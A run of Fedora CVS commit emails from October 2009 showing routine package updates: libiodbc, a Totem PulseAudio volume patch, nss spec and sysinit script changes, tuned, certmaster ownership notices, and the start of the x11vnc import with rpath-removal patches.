--- .cvsignore	5 Jun 2009 23:55:57 -0000	1.2
+++ .cvsignore	20 Oct 2009 13:51:22 -0000	1.3
@@ -1 +1 @@
-libiodbc-3.52.6.tar.gz
+libiodbc-3.52.7.tar.gz


Index: libiodbc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libiodbc/devel/libiodbc.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- libiodbc.spec	25 Jul 2009 05:58:50 -0000	1.3
+++ libiodbc.spec	20 Oct 2009 13:51:22 -0000	1.4
@@ -4,8 +4,8 @@
 
 Summary: iODBC Driver Manager
 Name: libiodbc
-Version: 3.52.6
-Release: 5%{?dist}
+Version: 3.52.7
+Release: 1%{?dist}
 Group: System Environment/Libraries
 License: LGPLv2 or BSD
 URL: http://www.iodbc.org/
@@ -116,6 +116,9 @@ rm -rf %{buildroot} 
 %endif
 
 %changelog
+* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> 3.52.7-1
+- libiodbc-3.52.7
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.52.6-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libiodbc/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	5 Jun 2009 23:55:57 -0000	1.2
+++ sources	20 Oct 2009 13:51:22 -0000	1.3
@@ -1 +1 @@
-761ad547467bd63ac0b2b4f3ee4b5afb  libiodbc-3.52.6.tar.gz
+ddbd274cb31d65be6a78da58fc09079a  libiodbc-3.52.7.tar.gz



From rdieter at fedoraproject.org  Tue Oct 20 13:52:15 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue, 20 Oct 2009 13:52:15 +0000 (UTC)
Subject: rpms/libiodbc/F-12 .cvsignore, 1.2, 1.3 libiodbc.spec, 1.3,
	1.4 sources, 1.2, 1.3
Message-ID: <20091020135215.3BA4C11C0081@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/libiodbc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12421

Modified Files:
	.cvsignore libiodbc.spec sources 
Log Message:
* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> 3.52.7-1
- libiodbc-3.52.7



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libiodbc/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	5 Jun 2009 23:55:57 -0000	1.2
+++ .cvsignore	20 Oct 2009 13:52:14 -0000	1.3
@@ -1 +1 @@
-libiodbc-3.52.6.tar.gz
+libiodbc-3.52.7.tar.gz


Index: libiodbc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libiodbc/F-12/libiodbc.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- libiodbc.spec	25 Jul 2009 05:58:50 -0000	1.3
+++ libiodbc.spec	20 Oct 2009 13:52:15 -0000	1.4
@@ -4,8 +4,8 @@
 
 Summary: iODBC Driver Manager
 Name: libiodbc
-Version: 3.52.6
-Release: 5%{?dist}
+Version: 3.52.7
+Release: 1%{?dist}
 Group: System Environment/Libraries
 License: LGPLv2 or BSD
 URL: http://www.iodbc.org/
@@ -116,6 +116,9 @@ rm -rf %{buildroot} 
 %endif
 
 %changelog
+* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> 3.52.7-1
+- libiodbc-3.52.7
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.52.6-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libiodbc/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	5 Jun 2009 23:55:57 -0000	1.2
+++ sources	20 Oct 2009 13:52:15 -0000	1.3
@@ -1 +1 @@
-761ad547467bd63ac0b2b4f3ee4b5afb  libiodbc-3.52.6.tar.gz
+ddbd274cb31d65be6a78da58fc09079a  libiodbc-3.52.7.tar.gz



From hadess at fedoraproject.org  Tue Oct 20 14:08:45 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 20 Oct 2009 14:08:45 +0000 (UTC)
Subject: rpms/totem/F-11 0001-Set-the-PA-stream-volume-from-Totem.patch, 1.3,
	1.4 totem.spec, 1.248, 1.249
Message-ID: <20091020140845.88CF811C0081@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/totem/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14845

Modified Files:
	0001-Set-the-PA-stream-volume-from-Totem.patch totem.spec 
Log Message:
* Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.26.4-2
- Update pulsesink patch to use cubic volumes (#512090)


0001-Set-the-PA-stream-volume-from-Totem.patch:
 configure.in                              |    2 
 src/backend/bacon-video-widget-gst-0.10.c |  118 ++++++++++++++++++++++++------
 2 files changed, 99 insertions(+), 21 deletions(-)

Index: 0001-Set-the-PA-stream-volume-from-Totem.patch
===================================================================
RCS file: /cvs/pkgs/rpms/totem/F-11/0001-Set-the-PA-stream-volume-from-Totem.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- 0001-Set-the-PA-stream-volume-from-Totem.patch	19 Oct 2009 15:23:37 -0000	1.3
+++ 0001-Set-the-PA-stream-volume-from-Totem.patch	20 Oct 2009 14:08:45 -0000	1.4
@@ -1,4 +1,4 @@
-From 8d4d326c9bcfca643782ead1f5f7ced58485b62d Mon Sep 17 00:00:00 2001
+From 3c3d8037804586fb0a3bc42141b1ef5b38d521c8 Mon Sep 17 00:00:00 2001
 From: Bastien Nocera <hadess at hadess.net>
 Date: Mon, 19 Oct 2009 16:21:42 +0100
 Subject: [PATCH] Set the PA stream volume from Totem
@@ -8,14 +8,14 @@ Subject: [PATCH] Set the PA stream volum
 - avoid setting the volume when pulsesink isn't in a state where it has
 a stream
 - don't set the volume on the stream on startup when using pulsesink
-- use bicubic volumes in the interface
+- use cubic volumes in the interface
 ---
  configure.in                              |    2 +-
- src/backend/bacon-video-widget-gst-0.10.c |   92 +++++++++++++++++++++++------
- 2 files changed, 74 insertions(+), 20 deletions(-)
+ src/backend/bacon-video-widget-gst-0.10.c |  117 ++++++++++++++++++++++++-----
+ 2 files changed, 99 insertions(+), 20 deletions(-)
 
 diff --git a/configure.in b/configure.in
-index d3d4142..587a878 100644
+index 3d10205..bcf459b 100644
 --- a/configure.in
 +++ b/configure.in
 @@ -62,7 +62,7 @@ dnl release versions.
@@ -28,10 +28,19 @@ index d3d4142..587a878 100644
  AC_ARG_ENABLE(xine,
  	AC_HELP_STRING([--enable-xine], [use xine instead of GStreamer for the backend]),
 diff --git a/src/backend/bacon-video-widget-gst-0.10.c b/src/backend/bacon-video-widget-gst-0.10.c
-index e43e068..da5203f 100644
+index e43e068..cbe483d 100644
 --- a/src/backend/bacon-video-widget-gst-0.10.c
 +++ b/src/backend/bacon-video-widget-gst-0.10.c
-@@ -163,7 +163,9 @@ struct BaconVideoWidgetPrivate
+@@ -42,6 +42,8 @@
+ #include <gst/audio/gstbaseaudiosink.h>
+ /* for pretty multichannel strings */
+ #include <gst/audio/multichannel.h>
++/* for the volume property */
++#include <gst/interfaces/streamvolume.h>
+ 
+ /* for missing decoder/demuxer detection */
+ #include <gst/pbutils/pbutils.h>
+@@ -163,7 +165,9 @@ struct BaconVideoWidgetPrivate
    gboolean                     cursor_shown;
    gboolean                     fullscreen_mode;
    gboolean                     auto_resize;
@@ -42,7 +51,7 @@ index e43e068..da5203f 100644
    
    gint                         video_width; /* Movie width */
    gint                         video_height; /* Movie height */
-@@ -1105,6 +1107,7 @@ bacon_video_widget_init (BaconVideoWidget * bvw)
+@@ -1105,6 +1109,7 @@ bacon_video_widget_init (BaconVideoWidget * bvw)
    priv->audiotags = NULL;
    priv->videotags = NULL;
    priv->zoom = 100;
@@ -50,7 +59,7 @@ index e43e068..da5203f 100644
  
    priv->lock = g_mutex_new ();
  
-@@ -1879,6 +1882,11 @@ bacon_video_widget_finalize (GObject * object)
+@@ -1879,6 +1884,11 @@ bacon_video_widget_finalize (GObject * object)
    g_free (bvw->priv->vis_element_name);
    bvw->priv->vis_element_name = NULL;
  
@@ -62,7 +71,7 @@ index e43e068..da5203f 100644
    if (bvw->priv->vis_plugins_list) {
      g_list_free (bvw->priv->vis_plugins_list);
      bvw->priv->vis_plugins_list = NULL;
-@@ -1986,7 +1994,7 @@ bacon_video_widget_get_property (GObject * object, guint property_id,
+@@ -1986,7 +1996,7 @@ bacon_video_widget_get_property (GObject * object, guint property_id,
        bacon_video_widget_get_show_cursor (bvw));
        break;
      case PROP_VOLUME:
@@ -71,7 +80,7 @@ index e43e068..da5203f 100644
        break;
      default:
        G_OBJECT_WARN_INVALID_PROPERTY_ID (object, property_id, pspec);
-@@ -3133,7 +3141,7 @@ bacon_video_widget_can_set_volume (BaconVideoWidget * bvw)
+@@ -3133,7 +3143,7 @@ bacon_video_widget_can_set_volume (BaconVideoWidget * bvw)
    if (bvw->priv->speakersetup == BVW_AUDIO_SOUND_AC3PASSTHRU)
      return FALSE;
  
@@ -80,7 +89,7 @@ index e43e068..da5203f 100644
  }
  
  void
-@@ -3142,11 +3150,29 @@ bacon_video_widget_set_volume (BaconVideoWidget * bvw, double volume)
+@@ -3142,11 +3152,35 @@ bacon_video_widget_set_volume (BaconVideoWidget * bvw, double volume)
    g_return_if_fail (BACON_IS_VIDEO_WIDGET (bvw));
    g_return_if_fail (GST_IS_ELEMENT (bvw->priv->play));
  
@@ -100,8 +109,14 @@ index e43e068..da5203f 100644
 +      gst_element_get_state (bvw->priv->pulse_audio_sink, &cur_state, NULL, 0);
 +      if (cur_state == GST_STATE_READY || cur_state == GST_STATE_PLAYING)
 +      {
-+	g_object_set (bvw->priv->pulse_audio_sink, "volume",
-+		      (gdouble) volume, NULL);
++	if (gst_element_implements_interface (bvw->priv->pulse_audio_sink,
++					      GST_TYPE_STREAM_VOLUME)) {
++	  gst_stream_volume_set_volume (GST_STREAM_VOLUME (bvw->priv->pulse_audio_sink),
++					GST_STREAM_VOLUME_FORMAT_CUBIC,
++					volume);
++	} else {
++	  g_object_set (bvw->priv->pulse_audio_sink, "volume", volume, NULL);
++	}
 +      }
 +    } else {
 +      g_object_set (bvw->priv->play, "volume",
@@ -112,7 +127,7 @@ index e43e068..da5203f 100644
      g_object_notify (G_OBJECT (bvw), "volume");
    }
  }
-@@ -3154,14 +3180,10 @@ bacon_video_widget_set_volume (BaconVideoWidget * bvw, double volume)
+@@ -3154,14 +3188,10 @@ bacon_video_widget_set_volume (BaconVideoWidget * bvw, double volume)
  double
  bacon_video_widget_get_volume (BaconVideoWidget * bvw)
  {
@@ -128,8 +143,8 @@ index e43e068..da5203f 100644
  }
  
  void
-@@ -4940,6 +4962,27 @@ got_new_video_sink_bin_element (GstBin *video_sink, GstElement *element,
-   g_mutex_unlock (bvw->priv->lock);
+@@ -3671,6 +3701,44 @@ done:
+   return ret;
  }
  
 +static gboolean
@@ -137,7 +152,13 @@ index e43e068..da5203f 100644
 +{
 +  gdouble vol;
 +
-+  g_object_get (G_OBJECT (bvw->priv->pulse_audio_sink), "volume", &vol, NULL);
++  if (gst_element_implements_interface (bvw->priv->pulse_audio_sink,
++					GST_TYPE_STREAM_VOLUME)) {
++    vol = gst_stream_volume_get_volume (GST_STREAM_VOLUME (bvw->priv->pulse_audio_sink),
++					GST_STREAM_VOLUME_FORMAT_CUBIC);
++  } else {
++    g_object_get (G_OBJECT (bvw->priv->pulse_audio_sink), "volume", &vol, NULL);
++  }
 +  bvw->priv->volume = vol;
 +
 +  g_object_notify (G_OBJECT (bvw), "volume");
@@ -153,10 +174,21 @@ index e43e068..da5203f 100644
 +  g_idle_add ((GSourceFunc) notify_volume_idle_cb, bvw);
 +}
 +
- GtkWidget *
- bacon_video_widget_new (int width, int height,
-                         BvwUseType type, GError ** err)
-@@ -5005,15 +5048,18 @@ bacon_video_widget_new (int width, int height,
++/**
++ * bacon_video_widget_set_video_property:
++ * @bvw: a #BaconVideoWidget
++ * @type: the type of property
++ * @value: the property's value, in the range %0 to %G_MAXINT
++ *
++ * Sets the given property of the video, such as its brightness or saturation.
++ *
++ * It should be given as a percentage in the full range of integer values; from %0
++ * to %G_MAXINT, where %G_MAXINT/2 is the default.
++ **/
+ void
+ bacon_video_widget_set_video_property (BaconVideoWidget *bvw,
+                                        BaconVideoWidgetVideoProperty type,
+@@ -5005,15 +5073,18 @@ bacon_video_widget_new (int width, int height,
        cb_gconf, bvw, NULL, NULL);
  
    if (type == BVW_USE_TYPE_VIDEO || type == BVW_USE_TYPE_AUDIO) {
@@ -183,7 +215,7 @@ index e43e068..da5203f 100644
      }
    } else {
      audio_sink = gst_element_factory_make ("fakesink", "audio-fake-sink");
-@@ -5160,9 +5206,17 @@ bacon_video_widget_new (int width, int height,
+@@ -5160,9 +5231,17 @@ bacon_video_widget_new (int width, int height,
        /* make fakesink sync to the clock like a real sink */
        g_object_set (audio_sink, "sync", TRUE, NULL);
        GST_DEBUG ("audio sink doesn't work, using fakesink instead");


Index: totem.spec
===================================================================
RCS file: /cvs/pkgs/rpms/totem/F-11/totem.spec,v
retrieving revision 1.248
retrieving revision 1.249
diff -u -p -r1.248 -r1.249
--- totem.spec	20 Oct 2009 12:22:47 -0000	1.248
+++ totem.spec	20 Oct 2009 14:08:45 -0000	1.249
@@ -9,7 +9,7 @@
 Summary: Movie player for GNOME
 Name: totem
 Version: 2.26.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2+ with exceptions
 Group: Applications/Multimedia
 URL: http://projects.gnome.org/totem/
@@ -483,6 +483,9 @@ fi
 %endif
 
 %changelog
+* Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.26.4-2
+- Update pulsesink patch to use cubic volumes (#512090)
+
 * Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.26.4-1
 - Update to 2.26.4
 



From emaldonado at fedoraproject.org  Tue Oct 20 14:13:00 2009
From: emaldonado at fedoraproject.org (Elio Maldonado)
Date: Tue, 20 Oct 2009 14:13:00 +0000 (UTC)
Subject: rpms/nss/devel nss.spec,1.122,1.123
Message-ID: <20091020141300.8483611C0081@cvs1.fedora.phx.redhat.com>

Author: emaldonado

Update of /cvs/extras/rpms/nss/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15876

Modified Files:
	nss.spec 
Log Message:
Require nss-softoken of same architecture as nss (#527867) and Merge setup-nsssysinit.sh improvements from F-12 (#527051)


Index: nss.spec
===================================================================
RCS file: /cvs/extras/rpms/nss/devel/nss.spec,v
retrieving revision 1.122
retrieving revision 1.123
diff -u -p -r1.122 -r1.123
--- nss.spec	6 Oct 2009 00:12:07 -0000	1.122
+++ nss.spec	20 Oct 2009 14:12:59 -0000	1.123
@@ -6,13 +6,13 @@
 Summary:          Network Security Services
 Name:             nss
 Version:          3.12.4
-Release:          13%{?dist}
+Release:          13.1%{?dist}
 License:          MPLv1.1 or GPLv2+ or LGPLv2+
 URL:              http://www.mozilla.org/projects/security/pki/nss/
 Group:            System Environment/Libraries
 Requires:         nspr >= %{nspr_version}
 Requires:         nss-util >= %{nss_util_version}
-Requires:         nss-softokn >= %{nss_softokn_version}
+Requires:         nss-softokn%{_isa} >= %{nss_softokn_version}
 BuildRoot:        %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:    nspr-devel >= %{nspr_version}
 BuildRequires:    nss-softokn-devel >= %{version}                                                  
@@ -469,6 +469,10 @@ rm -rf $RPM_BUILD_ROOT/%{_includedir}/ns
 
 
 %changelog
+* Tue Oct 20 2009 Elio Maldonado<emaldona at redhat.com> - 3.12.4-13.1
+- Require nss-softoken of same architecture as nss (#527867)
+- Merge setup-nsssysinit.sh improvements from F-12 (#527051)
+
 * Mon Oct 03 2009 Elio Maldonado<emaldona at redhat.com> - 3.12.4-13
 - User no longer prompted for a password when listing keys an empty system db (#527048)
 - Fix setup-nsssysinit to handle more general formats (#527051)



From emaldonado at fedoraproject.org  Tue Oct 20 14:13:53 2009
From: emaldonado at fedoraproject.org (Elio Maldonado)
Date: Tue, 20 Oct 2009 14:13:53 +0000 (UTC)
Subject: rpms/nss/devel setup-nsssysinit.sh,1.3,1.4
Message-ID: <20091020141353.7481911C0081@cvs1.fedora.phx.redhat.com>

Author: emaldonado

Update of /cvs/extras/rpms/nss/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16110

Modified Files:
	setup-nsssysinit.sh 
Log Message:
Merge setup-nsssysinit.sh improvements from F-12 (#527051)


Index: setup-nsssysinit.sh
===================================================================
RCS file: /cvs/extras/rpms/nss/devel/setup-nsssysinit.sh,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- setup-nsssysinit.sh	6 Oct 2009 00:09:59 -0000	1.3
+++ setup-nsssysinit.sh	20 Oct 2009 14:13:53 -0000	1.4
@@ -35,8 +35,7 @@ case "$1" in
   on | ON )
     cat ${p11conf} | \
      sed -e 's/^library=$/library=libnsssysinit.so/' \
-         -e '/^NSS/s/Flags=internal,critical/Flags=internal,moduleDBOnly,critical/' \
-         -e '/^NSS/s/Flags=internal,FIPS,critical/Flags=internal,moduleDBOnly,FIPS,critical/' > \
+         -e '/^NSS/s/\(Flags=internal\)\(,[^m]\)/\1,moduleDBOnly\2/' > \
     ${p11conf}.on
     mv ${p11conf}.on ${p11conf}
     ;;
@@ -46,8 +45,7 @@ case "$1" in
     fi
     cat ${p11conf} | \
     sed -e 's/^library=libnsssysinit.so/library=/' \
-        -e '/^NSS/s/Flags=internal,moduleDBOnly,critical/Flags=internal,critical/'   \
-        -e '/^NSS/s/Flags=internal,moduleDBOnly,FIPS,critical/Flags=internal,FIPS,critical/' > \
+        -e '/^NSS/s/Flags=internal,moduleDBOnly/Flags=internal/' > \
         ${p11conf}.off
     mv ${p11conf}.off ${p11conf}
     ;;



From mmaslano at fedoraproject.org  Tue Oct 20 14:16:29 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Tue, 20 Oct 2009 14:16:29 +0000 (UTC)
Subject: rpms/tuned/devel tuned.spec,1.10,1.11
Message-ID: <20091020141629.15DE611C0081@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/tuned/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16571

Modified Files:
	tuned.spec 
Log Message:
* Tue Oct 20 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> 0.2.5-0.4
- add Requires: ethtool



Index: tuned.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tuned/devel/tuned.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- tuned.spec	19 Oct 2009 15:08:58 -0000	1.10
+++ tuned.spec	20 Oct 2009 14:16:28 -0000	1.11
@@ -1,7 +1,7 @@
 Summary: A dynamic adaptive system tuning daemon
 Name: tuned
 Version: 0.2.5
-Release: 0.3%{?dist}
+Release: 0.4%{?dist}
 License: GPLv2+
 Group: System Environment/Daemons
 # The source for this package was pulled from upstream git.  Use the
@@ -18,6 +18,7 @@ Requires(post): chkconfig
 Requires(preun): chkconfig
 Requires(preun): initscripts
 Requires(postun): initscripts
+Requires: ethtool
 BuildArch: noarch
 
 %description
@@ -101,6 +102,9 @@ fi
 
 
 %changelog
+* Tue Oct 20 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> 0.2.5-0.4
+- add Requires: ethtool
+
 * Mon Oct 19 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> 0.2.5-0.3
 - new release
 



From pkgdb at fedoraproject.org  Tue Oct 20 14:24:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:24:02 +0000
Subject: [pkgdb] certmaster ownership updated
Message-ID: <20091020142402.A2B4F10F85F@bastion2.fedora.phx.redhat.com>

Package certmaster in Fedora devel is now owned by skvidal

To make changes to this package see:
  /pkgdb/packages/name/certmaster



From pkgdb at fedoraproject.org  Tue Oct 20 14:24:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:24:07 +0000
Subject: [pkgdb] certmaster ownership updated
Message-ID: <20091020142407.9B04A10F87F@bastion2.fedora.phx.redhat.com>

Package certmaster in Fedora 8 is now owned by skvidal

To make changes to this package see:
  /pkgdb/packages/name/certmaster



From pkgdb at fedoraproject.org  Tue Oct 20 14:24:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:24:16 +0000
Subject: [pkgdb] certmaster ownership updated
Message-ID: <20091020142416.DFE6010F85F@bastion2.fedora.phx.redhat.com>

Package certmaster in Fedora 7 is now owned by skvidal

To make changes to this package see:
  /pkgdb/packages/name/certmaster



From pkgdb at fedoraproject.org  Tue Oct 20 14:24:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:24:19 +0000
Subject: [pkgdb] certmaster ownership updated
Message-ID: <20091020142419.E927410F88F@bastion2.fedora.phx.redhat.com>

Package certmaster in Fedora EPEL 4 is now owned by skvidal

To make changes to this package see:
  /pkgdb/packages/name/certmaster



From pkgdb at fedoraproject.org  Tue Oct 20 14:24:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:24:25 +0000
Subject: [pkgdb] certmaster ownership updated
Message-ID: <20091020142425.97EBE10F86E@bastion2.fedora.phx.redhat.com>

Package certmaster in Fedora EPEL 5 is now owned by skvidal

To make changes to this package see:
  /pkgdb/packages/name/certmaster



From pkgdb at fedoraproject.org  Tue Oct 20 14:24:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:24:26 +0000
Subject: [pkgdb] certmaster ownership updated
Message-ID: <20091020142426.A157410F894@bastion2.fedora.phx.redhat.com>

Package certmaster in Fedora 9 is now owned by skvidal

To make changes to this package see:
  /pkgdb/packages/name/certmaster



From pkgdb at fedoraproject.org  Tue Oct 20 14:24:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:24:29 +0000
Subject: [pkgdb] certmaster ownership updated
Message-ID: <20091020142429.7820C10F800@bastion2.fedora.phx.redhat.com>

Package certmaster in Fedora 10 is now owned by skvidal

To make changes to this package see:
  /pkgdb/packages/name/certmaster



From pkgdb at fedoraproject.org  Tue Oct 20 14:24:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:24:31 +0000
Subject: [pkgdb] certmaster ownership updated
Message-ID: <20091020142431.B064D10F8AC@bastion2.fedora.phx.redhat.com>

Package certmaster in Fedora 11 is now owned by skvidal

To make changes to this package see:
  /pkgdb/packages/name/certmaster



From pkgdb at fedoraproject.org  Tue Oct 20 14:24:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:24:35 +0000
Subject: [pkgdb] certmaster ownership updated
Message-ID: <20091020142435.1AC4410F894@bastion2.fedora.phx.redhat.com>

Package certmaster in Fedora 12 is now owned by alikins

To make changes to this package see:
  /pkgdb/packages/name/certmaster



From hubbitus at fedoraproject.org  Tue Oct 20 14:26:16 2009
From: hubbitus at fedoraproject.org (Pavel Alexeev)
Date: Tue, 20 Oct 2009 14:26:16 +0000 (UTC)
Subject: rpms/x11vnc/devel import.log, NONE,
	1.1 x11vnc-0.9.8-XShm-explicit-include.patch, NONE,
	1.1 x11vnc-0.9.8-disableRpath.patch, NONE, 1.1 x11vnc.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091020142616.2B2C511C0081@cvs1.fedora.phx.redhat.com>

Author: hubbitus

Update of /cvs/pkgs/rpms/x11vnc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19169/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log x11vnc-0.9.8-XShm-explicit-include.patch 
	x11vnc-0.9.8-disableRpath.patch x11vnc.spec 
Log Message:
Initial import x11vnc into Fedora




--- NEW FILE import.log ---
x11vnc-0_9_8-14_fc11:HEAD:x11vnc-0.9.8-14.fc11.src.rpm:1256048744

x11vnc-0.9.8-XShm-explicit-include.patch:
 cleanup.c |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE x11vnc-0.9.8-XShm-explicit-include.patch ---
--- x11vnc/cleanup.c.orig	2009-06-14 19:29:17.000000000 +0400
+++ x11vnc/cleanup.c	2009-08-07 02:44:14.000000000 +0400
@@ -50,6 +50,7 @@
 #include "screen.h"
 #include "xrecord.h"
 #include "xevents.h"
+#include <X11/extensions/shmproto.h> // For X_ShmAttach in Fedora 12
 
 /*
  * Exiting and error handling routines

x11vnc-0.9.8-disableRpath.patch:
 configure |   33 +++++++++++++--------------------
 1 file changed, 13 insertions(+), 20 deletions(-)

--- NEW FILE x11vnc-0.9.8-disableRpath.patch ---
--- configure.orig	2009-06-19 18:44:21.000000000 +0400
+++ configure	2009-07-29 16:01:13.000000000 +0400
@@ -4183,7 +4183,7 @@
     "SunOS 5"*)
       echo "$as_me:$LINENO: checking whether -R must be followed by a space" >&5
 echo $ECHO_N "checking whether -R must be followed by a space... $ECHO_C" >&6
-      ac_xsave_LIBS=$LIBS; LIBS="$LIBS -R$x_libraries"
+      ac_xsave_LIBS=$LIBS; LIBS="$LIBS"
       cat >conftest.$ac_ext <<_ACEOF
 /* confdefs.h.  */
 _ACEOF
@@ -4233,9 +4233,9 @@
       if test $ac_R_nospace = yes; then
 	echo "$as_me:$LINENO: result: no" >&5
 echo "${ECHO_T}no" >&6
-	X_LIBS="$X_LIBS -R$x_libraries"
+	X_LIBS="$X_LIBS"
       else
-	LIBS="$ac_xsave_LIBS -R $x_libraries"
+	LIBS="$ac_xsave_LIBS"
 	cat >conftest.$ac_ext <<_ACEOF
 /* confdefs.h.  */
 _ACEOF
@@ -4285,7 +4285,7 @@
 	if test $ac_R_space = yes; then
 	  echo "$as_me:$LINENO: result: yes" >&5
 echo "${ECHO_T}yes" >&6
-	  X_LIBS="$X_LIBS -R $x_libraries"
+	  X_LIBS="$X_LIBS"
 	else
 	  echo "$as_me:$LINENO: result: neither works" >&5
 echo "${ECHO_T}neither works" >&6
@@ -6705,7 +6705,7 @@
 		if test ! -z "$HAVE_LIBXFIXES" -o ! -z "$HAVE_LIBXDAMAGE"; then
 			# need /usr/sfw/lib in RPATH for Solaris 10 and later
 			case `(uname -sr) 2>/dev/null` in
-			"SunOS 5"*) X_EXTRA_LIBS="$X_EXTRA_LIBS -R/usr/sfw/lib" ;;
+			"SunOS 5"*) X_EXTRA_LIBS="$X_EXTRA_LIBS" ;;
 			esac
 		fi
 		if test ! -z "$HAVE_LIBXRANDR"; then
@@ -7026,9 +7026,9 @@
 		if test "x$ld_minus_R" = "xno"; then
 			:
 		elif test "x$GCC" = "xyes"; then
-			LDFLAGS="$LDFLAGS -Xlinker -R$with_ssl/lib"
+			LDFLAGS="$LDFLAGS -Xlinker"
 		else
-			LDFLAGS="$LDFLAGS -R$with_ssl/lib"
+			LDFLAGS="$LDFLAGS"
 		fi
 	fi
 	echo "$as_me:$LINENO: checking for RAND_file_name in -lcrypto" >&5
@@ -7910,13 +7910,6 @@
 	fi
 	if test "x$with_system_libvncserver" != "xyes"; then
 		rflag=""
-		if test "x$ld_minus_R" = "xno"; then
-			:
-		elif test "x$GCC" = "xyes"; then
-			rflag="-Xlinker -R$with_system_libvncserver/lib"
-		else
-			rflag="-R$with_system_libvncserver/lib"
-		fi
 		cmd="$with_system_libvncserver/bin/libvncserver-config"
 		if $cmd --version 1>/dev/null 2>&1; then
 			cvers=`$cmd --version 2>/dev/null`
@@ -7958,9 +7951,9 @@
 		if test "x$ld_minus_R" = "xno"; then
 			:
 		elif test "x$GCC" = "xyes"; then
-			rflag=" -Xlinker -R$rprefix/lib "
+			rflag=" -Xlinker "
 		else
-			rflag=" -R$rprefix/lib "
+			rflag=" "
 		fi
 		cvers=`libvncserver-config --version 2>/dev/null`
 		cscore=`echo "$cvers" | tr '.' ' ' | awk '{print 10000 * $1 + 100 * $2 + $3}'`
@@ -8039,9 +8032,9 @@
 			:
 		elif test "x$GCC" = "xyes"; then
 			# this is not complete... in general a rat's nest.
-			LDFLAGS="$LDFLAGS -Xlinker -R$with_jpeg/lib"
+			LDFLAGS="$LDFLAGS -Xlinker"
 		else
-			LDFLAGS="$LDFLAGS -R$with_jpeg/lib"
+			LDFLAGS="$LDFLAGS"
 		fi
 	fi
 	if test "${ac_cv_header_jpeglib_h+set}" = set; then
@@ -8320,9 +8313,9 @@
 		if test "x$ld_minus_R" = "xno"; then
 			:
 		elif test "x$GCC" = "xyes"; then
-			LDFLAGS="$LDFLAGS -Xlinker -R$with_zlib/lib"
+			LDFLAGS="$LDFLAGS -Xlinker"
 		else
-			LDFLAGS="$LDFLAGS -R$with_zlib/lib"
+			LDFLAGS="$LDFLAGS"
 		fi
 	fi
 	if test "${ac_cv_header_zlib_h+set}" = set; then


--- NEW FILE x11vnc.spec ---
Summary:		VNC server for the current X11 session
Summary(ru):	VNC-?????? ??? ??????? ?????? X11
Name:		x11vnc
Version:		0.9.8
